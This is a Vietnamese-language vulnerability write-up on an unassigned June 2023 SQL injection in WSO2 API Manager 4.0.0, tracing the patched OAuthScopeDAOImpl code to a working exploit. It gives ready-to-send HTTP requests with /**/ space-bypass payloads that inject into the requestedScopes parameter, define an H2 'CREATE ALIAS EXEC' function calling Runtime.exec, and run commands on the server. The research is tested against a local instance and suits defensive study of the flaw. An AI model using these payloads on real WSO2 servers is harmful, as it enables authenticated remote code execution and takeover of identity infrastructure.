Lỗi này được public vào tháng 6 2023 nhưng không có mã CVE, sau đây là các version bị ảnh hưởng, và một số thông tin khác:
Đây là một lỗi liên quan tới SQL, với endpoint chỉ có thể truy cập từ người dùng đã xác thực
PS D:\JAVACVE\wso2am-4.0.0\bin> .\api-manager.bat --debug 5005
Đầu tiên sẽ kiểm tra xem lỗi được vá như thế nào từ bản vá được public ở trang chủ: URL, củ thể hơn: URL
Lỗi được vá bên trong file OAuthScopeDAOImpl.java, method getRequestedScopesOnly
Path: org/wso2/carbon/identity/oauth2/dao/OAuthScopeDAOImpl.java
public Set<Scope> getRequestedScopesOnly(int tenantID, Boolean includeOIDCScopes, String requestedScopes) throws IdentityOAuth2ScopeServerException {
if (log.isDebugEnabled()) {
log.debug(String.format("Get requested scopes for scopes: %s for tenantId: %s with includeOIDCScopes: %s", requestedScopes, tenantID, includeOIDCScopes));
}
String sql;
if (includeOIDCScopes) {
sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN (?)");
} else {
sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.SCOPE_TYPE=? AND SCOPES.NAME IN (?)");
}
List<String> requestedScopeList = Arrays.asList(requestedScopes.split("\\s+"));
String sqlIN = (String)requestedScopeList.stream().map((x) -> {
return String.valueOf(x);
}).collect(Collectors.joining("', '", "('", "')"));
sql = sql.replace("(?)", sqlIN);
Phân tích một chút về đoạn code:
Sau khi phân tích vậy lỗi SQL xảy ra như thế nào? Mặc dù đã sử dụng prepareStatement nhằm hạn chế SQL attack.
Để ý kĩ một chút sẽ thấy việc sử dụng collect(Collectors.joining("', '", "('", "')"))
đã vô tình tạo ra lỗi SQL trước khi đưa vào thực thi.
Ví dụ khi input requestedScopes = 123 câu query sẽ là:
SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123')
Nếu như thêm ') vào nữa thì câu query sẽ trở thành:
SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123')--')
Như vậy việc POC lại SQL đã gần như là hoàn thành, bây giờ chúng ta cần biết CSDL đang dùng cho WSO2 là gì và tìm ra endpoint để truy cập đến đoạn bị lỗi này.
The OAuth2 scope API in WSO2 Identity Server (IS) can be used to manage oauth2 scopes and scope bindings such as roles and permissions. Since OIDC scope is a sub category of OAuth2 scopes, these endpoints cannot have the same scope names as in WSO2 IS.
https://localhost:9443/api/identity/oauth2/v1.0/scopes
và 4 tham số như trên ảnh, nhưng chúng ta chỉ cần quan tâm đến param requestedScopes
vì tham số này được truyền vào method getRequestedScopesOnly
Bây giờ ta sẽ test inject thử xem phân tích lý thuyết trên đã đúng chưa
split("\\s+")
, nếu như payload có khoảng cách thì nó sẽ được đưa vào mảng, nên query syntax trở nên bị sai. Cách bypass chỉ cần sử dụng /**/ thay thế cho space.')/**/or/**/1/**/=/**/1/**/--
Việc sử dụng H2 có thể dẫn tới RCE, đọc thêm ở blog: https://www.sonarsource.com/blog/dotcms515-sqli-to-rce
Ta sẽ có 2 query sau để RCE:
Query 1: CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
Query 2: CALL EXEC('whoami');
Thì mình nghĩ chắc là có hỗ trợ, test thử xem sao :v
Replace space và URL encode sau đó inject thử thôi.
');CREATE ALIAS EXEC AS 'void e(String cmd) throws java.io.IOException{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}';--
GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=true&requestedScopes=');CREATE/**/ALIAS/**/TEST/**/AS'void/**/e(String/**/cmd)/**/throws/**/java.io.IOException%7Bjava.lang.Runtime/**/rt=/**/java.lang.Runtime.getRuntime();rt.exec(cmd);%7D';-- HTTP/1.1
Host: localhost:9443
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
OK perfect, cuối cùng chỉ cần gọi đến hàm EXEC và truyền tham số nữa là xong.
GET /api/identity/oauth2/v1.0/scopes?requestedScopes=');CALL/**/EXEC('calc');-- HTTP/1.1
Host: localhost:9443
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Calc được popup, vậy là đã hoàn thành.